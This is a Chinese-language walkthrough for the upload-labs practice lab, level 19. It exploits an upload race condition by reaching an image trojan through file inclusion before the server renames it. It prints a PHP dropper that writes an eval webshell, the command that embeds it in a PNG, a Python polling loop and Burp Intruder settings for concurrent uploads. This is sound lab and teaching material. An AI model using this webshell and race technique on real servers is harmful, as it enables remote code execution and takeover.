目錄
一、條件競爭
二、源碼分析
1、源碼分析
2、攻擊原理
3、滲透思路
?三、實戰滲透
1、構造腳本
2、制作圖片馬
3、獲取上傳腳本URL
4、構造訪問母狼腳本的Python代碼
5、bp不斷并發上傳母狼圖片馬
(1)開啟專業版bp
(2) 上傳母狼腳本發送到intruder
(3)配置intruder位置
6、python腳本執行文件包含訪問母狼圖片馬
7、訪問小狼腳本?
本文通過《upload-labs通關筆記-第19關文件上傳之條件競爭》系列。文件上傳條件競爭是一種在文件上傳過程中利用并發操作導致的時間差來繞過安全限制的攻擊方式,本節與18關不同之處是本關卡只能上傳如下所示的白名單格式文件,以上傳gif、jpg或者png格式的圖片為例,需要利用文件包含訪問圖片馬實現文件上傳來滲透,實現條件競爭繞過滲透實戰。
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",
".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png"
一、條件競爭
文件上傳之條件競爭原理是利用服務器在處理多個文件上傳請求時的時間差,從而繞過安全檢查或實現惡意目的,其基本工作原理如下所示。
(1)正常上傳流程:
- 接收文件:服務器接收用戶上傳的文件,并將其存儲在臨時目錄中。
- 檢查文件:服務器對文件進行各種檢查,如文件類型、文件大小、文件內容等,以確保文件符合安全要求。
- 保存文件:如果文件通過檢查,服務器將其保存到指定的目錄中。
(2)產生原因:
- 并發處理:服務器可能同時處理多個文件上傳請求,這些請求可能在不同的線程或進程中執行。
- 異步操作:某些操作可能是異步進行的,例如文件的檢查和保存操作可能在不同的時間點完成。
- 時間差:由于并發處理和異步操作,不同請求之間的操作可能存在時間差,這就為攻擊者提供了利用的機會。
二、源碼分析
1、源碼分析
打開靶場第19關,查看源碼,分析可知文件上傳的處理流程是符合白名單的文件先被傳到服務器,然后再重命名該文件。很明顯代碼存在條件競爭風險,主要原因在于文件移動和文件重命名這兩個操作不是原子操作,中間存在時間間隔,攻擊者可以利用這個時間間隔進行攻擊。詳細注釋后的代碼如下所示。?
// index.php
// 初始化變量,$is_upload 用于標記文件是否成功上傳,初始值為 false 表示未成功上傳
$is_upload = false;
// 初始化變量,$msg 用于存儲上傳過程中的提示信息,初始值為 null 表示暫無提示信息
$msg = null;
// 檢查是否通過 POST 方式提交了名為'submit'的表單元素,若提交則意味著用戶發起了文件上傳操作
if (isset($_POST['submit'])) {// 引入自定義的文件上傳類所在的文件 myupload.php,以便使用其中定義的類和方法require_once("./myupload.php");// 使用當前時間戳生成一個文件名的基礎部分$imgFileName = time();// 創建 MyUpload 類的實例,傳入上傳文件的原始文件名、臨時文件名、文件大小以及生成的文件名基礎部分$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'], $imgFileName);// 調用 MyUpload 類實例的 upload 方法,傳入上傳目標目錄 UPLOAD_PATH,并獲取上傳操作的狀態碼$status_code = $u->upload(UPLOAD_PATH);// 根據獲取到的狀態碼進行不同的處理,并設置相應的提示信息或標記上傳狀態switch ($status_code) {case 1:// 上傳成功,將 $is_upload 設置為 true 表示文件已成功上傳$is_upload = true;// 拼接上傳文件在服務器上的完整路徑,包括上傳目錄和重命名后的文件名$img_path = $u->cls_upload_dir. $u->cls_file_rename_to;break;case 2:// 文件已上傳但未重命名,設置相應的提示信息$msg = '文件已經被上傳,但沒有重命名。';break;case -1:// 文件無法上傳到服務器的臨時文件存儲目錄,設置相應提示信息$msg = '這個文件不能上傳到服務器的臨時文件存儲目錄。';break;case -2:// 上傳目錄不可寫,導致上傳失敗,設置相應提示信息$msg = '上傳失敗,上傳目錄不可寫。';break;case -3:// 上傳的文件類型不符合要求,設置相應提示信息$msg = '上傳失敗,無法上傳該類型文件。';break;case -4:// 上傳的文件過大,設置相應提示信息$msg = '上傳失敗,上傳的文件過大。';break;case -5:// 服務器已存在相同名稱的文件,設置相應提示信息$msg = '上傳失敗,服務器已經存在相同名稱文件。';break;case -6:// 文件無法復制到目標目錄,導致上傳失敗,設置相應提示信息$msg = '文件無法上傳,文件不能復制到目標目錄。';break;default:// 遇到未知錯誤,設置相應提示信息$msg = '未知錯誤!';break;}
}// myupload.php
class MyUpload {..................// 定義一個數組,存儲允許上傳的文件擴展名var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z", ".ppt",".html", ".xml", ".tiff", ".jpeg", ".png");................../*** upload() 方法* 用于執行文件上傳操作的方法,是外部調用該類時唯一需要調用的方法* @param string $dir 要上傳到的目標目錄名稱* @return void*/function upload($dir) {// 檢查文件是否成功上傳到服務器的臨時目錄,獲取檢查結果$ret = $this->isUploadedFile();// 如果檢查結果不為 1(即上傳到臨時目錄失敗),返回相應的錯誤狀態碼if ($ret!= 1) {return $this->resultUpload($ret);}// 設置文件上傳的目標目錄,獲取設置結果$ret = $this->setDir($dir);// 如果設置目標目錄失敗,返回相應的錯誤狀態碼if ($ret!= 1) {return $this->resultUpload($ret);}// 檢查上傳文件的擴展名是否在允許的擴展名數組中,獲取檢查結果$ret = $this->checkExtension();// 如果擴展名檢查不通過,返回相應的錯誤狀態碼if ($ret!= 1) {return $this->resultUpload($ret);}// 檢查上傳文件的大小是否符合要求,獲取檢查結果$ret = $this->checkSize();// 如果文件大小檢查不通過,返回相應的錯誤狀態碼if ($ret!= 1) {return $this->resultUpload($ret);}// 如果檢查文件是否存在的標志位設置為 1if ($this->cls_file_exists == 1) {// 檢查目標目錄中是否已存在同名文件,獲取檢查結果$ret = $this->checkFileExists();// 如果已存在同名文件,返回相應的錯誤狀態碼if ($ret!= 1) {return $this->resultUpload($ret);}}// 如果執行到這里,說明文件已準備好移動到目標目錄$ret = $this->move();// 如果移動文件失敗,返回相應的錯誤狀態碼if ($ret!= 1) {return $this->resultUpload($ret);}// 檢查是否需要對文件進行重命名操作if ($this->cls_rename_file == 1) {// 執行文件重命名操作,獲取操作結果$ret = $this->renameFile();// 如果重命名操作失敗,返回相應的錯誤狀態碼if ($ret!= 1) {return $this->resultUpload($ret);}}// 如果執行到這里,說明所有操作都按計劃成功完成return $this->resultUpload("SUCCESS");}..................
}
upload 函數是用于執行文件上傳操作的核心方法,整合了多個步驟來完成文件上傳流程,并根據每個步驟的執行結果返回相應的狀態碼。具體如下所示
- 調用 isUploadedFile 函數檢查文件是否成功上傳到服務器的臨時目錄。若檢查失敗,返回相應錯誤狀態碼。
- 調用 setDir 函數設置文件上傳的目標目錄。若設置失敗,返回相應錯誤狀態碼。
- 調用 checkExtension 函數檢查上傳文件的擴展名是否在允許的白名單擴展名數組中($cls_arr_ext_accepted)中。若擴展名檢查不通過,返回相應錯誤狀態碼。
- 調用 checkSize 函數檢查上傳文件的大小是否符合要求。若文件大小檢查不通過,返回相應錯誤狀態碼。
- 當 $cls_file_exists 標志位為 1 時,調用 checkFileExists 函數檢查目標目錄中是否已存在同名文件。若已存在同名文件,返回相應錯誤狀態碼。
- 調用 move 函數將文件從臨時目錄移動到目標目錄。若移動文件失敗,返回相應錯誤狀態碼。
- 當 $cls_rename_file 標志位為 1 時,調用 renameFile 函數對文件進行重命名操作。若重命名操作失敗,返回相應錯誤狀態碼。
- 如果所有步驟都成功執行,返回表示成功的狀態碼。
這里涉及到條件競爭的部分主要是因為按照先進行文件存儲,然后修改文件名操作,如下所示。
$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret ); }// check if we need to rename the fileif( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret ); }}
2、攻擊原理
根據源碼可知本關卡服務器的處理流程有條件競爭風險,存在條件競爭的具體原因下所示。
- 操作步驟分離且無原子性保障:在文件上傳的流程中,移動文件(move)和重命名文件(renameFile)這兩個關鍵操作是分開執行的。當有多個用戶并發上傳文件時,可能會出現以下情況:一個用戶上傳的文件先通過移動文件(move)存儲到服務器目錄,然后再通過了重命名renameFile對上傳文件進行重命名處理,但在執行move操作之后并且在命名renameFile之前,如果利用文件包含對上傳成功的圖片馬執行腳本,可以存儲的文件執行破壞了文件上傳的正常邏輯。
- 缺乏并發控制機制:代碼中沒有針對并發上傳情況的有效控制措施。在高并發場景下,多個上傳請求可能同時進入不同的檢查和操作階段,由于沒有對這些并發操作進行同步或加鎖處理,使得文件上傳的整個過程缺乏原子性,攻擊者可以利用這種時間差,精心構造并發請求,繞過原本的安全檢查機制,實現惡意文件的上傳或其他惡意目的。例如,攻擊者可以在短時間內多次上傳文件,利用檢查和移動操作之間的時間間隙,利用文件包含訪問圖片馬來執行腳本。
3、滲透思路
(1)選擇文件類型
本關卡與18關第一個不同之處是checkExtension 函數的處理,也就是說符合白名單的文件才能進行存儲,故而這就限制了上傳文件的后綴類型必須是如下之一。
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",
".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png"
這部分只有jpg、png和gif可以通過制作圖片馬,再結合文件包含訪問執行腳本。故而我們可以通過制作圖片馬進行上傳。?
(2)利用文件包含訪問圖片馬
在上傳圖片馬的時候,由于服務器的處理是先按照原名存儲,然后再被改為隨機命名,當文件名稱被修改后就無法繼續訪問原始圖片馬了。正是因為先存儲后改名這之前的時間差可以利用,故而存在條件競爭風險。
我們通過利用上傳到服務器和文件被重命名之間的時間差來進行滲透,即攻擊者上傳一個包含惡意代碼的圖片馬文件(我們稱之為母狼圖片馬),服務器將其移動到目標目錄。在服務器進行文件類型檢查并重命名之前,攻擊者通過利用文件包含訪問母狼圖片馬生成一個新的腳本(我們稱之為小狼腳本),這樣在后續的擴展名檢查中,雖然母狼圖片馬因為被重命名無法訪問到,但是小狼腳本卻沒有被檢查而存儲在服務器中被認為是合法文件,從而繞過了安全檢查,這樣我們訪問小狼腳本惡意代碼就有可能被執行。
- 上傳惡意文件:攻擊者上傳一個惡意文件(母狼圖片馬),該文件包含惡意代碼。
- 并發請求:攻擊者同時發送同一母狼圖片馬的多個并發上傳請求。
- 利用時間差:服務器對圖片的處理流程是先保存圖片然后再進行重命名。由于服務器的并發處理和異步操作,攻擊者利用這個時間差,在圖片馬通過檢查后但還未被重命名之前,迅速利用文件包含訪問圖片馬的腳本生成小狼腳本。
- 繞過安全檢查:由于小狼腳本是利用文件包含訪問母狼圖片馬生產的,從而繞過了安全檢查。
- 執行惡意代碼:一旦小狼腳本被保存到服務器上,攻擊者就可以通過訪問該文件來執行惡意代碼,從而獲取服務器的控制權或進行其他惡意操作。
總結起來就是上傳木馬1(母狼)成功,木馬1(母狼)還沒被刪掉的時間差過程中,成功訪問木馬文1(母狼)。這個木馬文件1(母狼)的特點是可以生成一句話小木馬2(小狼),如果在時間差內訪問成功上傳的這個木1(母狼),即可生成一句話小木馬2(小狼)。這樣不斷地并發上傳母狼腳本,接下來不斷地并發訪問母狼腳本,由于服務器是先存儲母狼腳本然后檢查母狼的合法性再殺掉,只要利用時間差在服務器殺死母狼之前讓母狼腳本可以生成小狼腳本,即可通過訪問小狼腳本實現滲透
?三、實戰滲透
1、修改源碼
當前本關卡有bug,需要修改myupload.php文件,文件位置如下所示。
原本function setDir( $dir )中設置目錄的函數錯誤,如下所示。
$this->cls_upload_dir = $dir;
需要將function setDir( $dir )這個函數中cls_upload_dir?的修改為如下內容。
$this->cls_upload_dir = $dir."/";
修改之后上傳的文件都會到upload文件夾里,修改后如下所示。
2、構造腳本
構造文件上傳的shell腳本(腳本1,母狼,命名為ljn_shell.php),內容為post馬。腳本內容如下所示。
<?php fputs(fopen('ljn_post.php','w'),'<?php @eval($_POST[ljn]);?>');?>
?此函數用于寫入或創建一個名為 ljn_post.php 的文件(腳本2,小狼)。如果文件不存在,將會創建一個名為ljn_post.php新的文件,腳本內容如下所示。
<?php @eval($_POST[ljn]);?>
3、制作圖片馬
使用如下命令生成圖片馬ljn_pass19.png(母狼圖片馬)。
copy ljn_pass19_orig.png /b + ljn_shell.php ljn_pass19.png
4、獲取上傳腳本URL
對于上傳到服務器的母狼圖片馬ljn_pass19.png,相關源碼處理如下所示。
// 獲取用戶上傳文件的原始文件名$file_name = $_FILES['upload_file']['name'];// 獲取上傳文件在服務器臨時存儲的路徑$temp_file = $_FILES['upload_file']['tmp_name'];// 拼接上傳文件在目標目錄中的完整路徑// UPLOAD_PATH 是預定義的上傳文件保存目錄$upload_file = UPLOAD_PATH . '/' . $file_name;// 嘗試將臨時文件從臨時存儲路徑移動到目標路徑// move_uploaded_file 是 PHP 內置函數,用于處理文件上傳移動操作if (move_uploaded_file($temp_file, $upload_file)) {}
分析可知文件上傳到服務器的URL根據如下代碼決定,由upload目錄與文件名拼接。
upload_file = UPLOAD_PATH . '/' . $file_name
根據源碼可知$file_name為上傳文件名,假如要傳的圖片馬為ljn_pass19.png,那么存儲在upload/目錄下,那么母狼腳本1的URL鏈接地址如下所示。
http://127.0.0.1/upload-labs/upload/ljn_pass19.png
文件包含的網址如下所示。
http://127.0.0.1/upload-labs/include.php
故而結合文件包含訪問母狼圖片馬的URL地址應該如下所示。
http://127.0.0.1/upload-labs/include.php?file=upload/ljn_pass19.png
同理,母狼ljn_pass19.png結合文件包含訪問生成的小狼腳本ljn_post.php生成在同一目錄,故而小狼腳本文件的完整URL地址如下所示。
http://127.0.0.1/upload-labs/upload/ljn_post.php
5、構造訪問母狼腳本的Python代碼
這段代碼的功能是不斷利用文件包含的并發訪問母狼圖片馬ljn_pass19.png,希望可以利用時間差在服務器檢查后綴判斷其不在白名單刪除母狼前,使得母狼腳本ljn_pass19.png可以通過文件包含訪問圖片馬成功執行生成小狼腳本ljn_post.php。
import requestsurl = "http://127.0.0.1/upload-labs/include.php?file=upload/ljn_pass19.png"
while True:html = requests.get(url)if html.status_code == 200:# 獲取頁面內容page_content = html.text# 檢查頁面內容中是否包含字符串 "failed"if 'failed' in page_content:print("NO")#打印可以降速passelse:print("OK")break
6、bp不斷并發上傳母狼圖片馬
(1)開啟專業版bp
瀏覽器開啟代理,burpsuite(注意要選用專業版)打開攔截功能。
(2) 上傳母狼腳本發送到intruder
點擊上傳后報文被bp攔截,右鍵發送到intruder,如下所示。
(3)配置intruder位置
- 1)Position部分:選擇sniper狙擊手模式并清除所有載荷
- 2)Payload部分:有效載荷中選擇1,沒有負載,以及無限期重復,如下圖所示
- 3)資源池部分:可以選擇默認,也可以自己配置線程數以及間隔時間
- 在intruder里面,選擇resource?pool下面有個create?new?source?pool可以重新設置線程數,我們勾選maximum?concurrent?requests,并且進行參數的設置,這里我選擇了10個線程,大家可以根據自己機器的配置進行設置。
- 4)配置完畢后點擊-開始攻擊
攻擊后的效果如下所示。
7、python腳本執行文件包含訪問母狼圖片馬
運行執行3.3的python腳本,看到ok說明滲透成功效果如下所示。
此時說明滲透成功,母狼腳本訪問成功,生成了小狼腳本ljn_post.php。此時關閉bp的intruder停止爆破,具體方法如下所示。
8、訪問小狼腳本?
上傳到服務器的母狼腳本訪問成功,生成了小狼腳本ljn_post.php,完整URL地址如下所示。
http://127.0.0.1/upload-labs/upload/ljn_post.php
POST參數設置進行如下code設置,如下圖所示滲透成功。
ljn=phpinfo();
?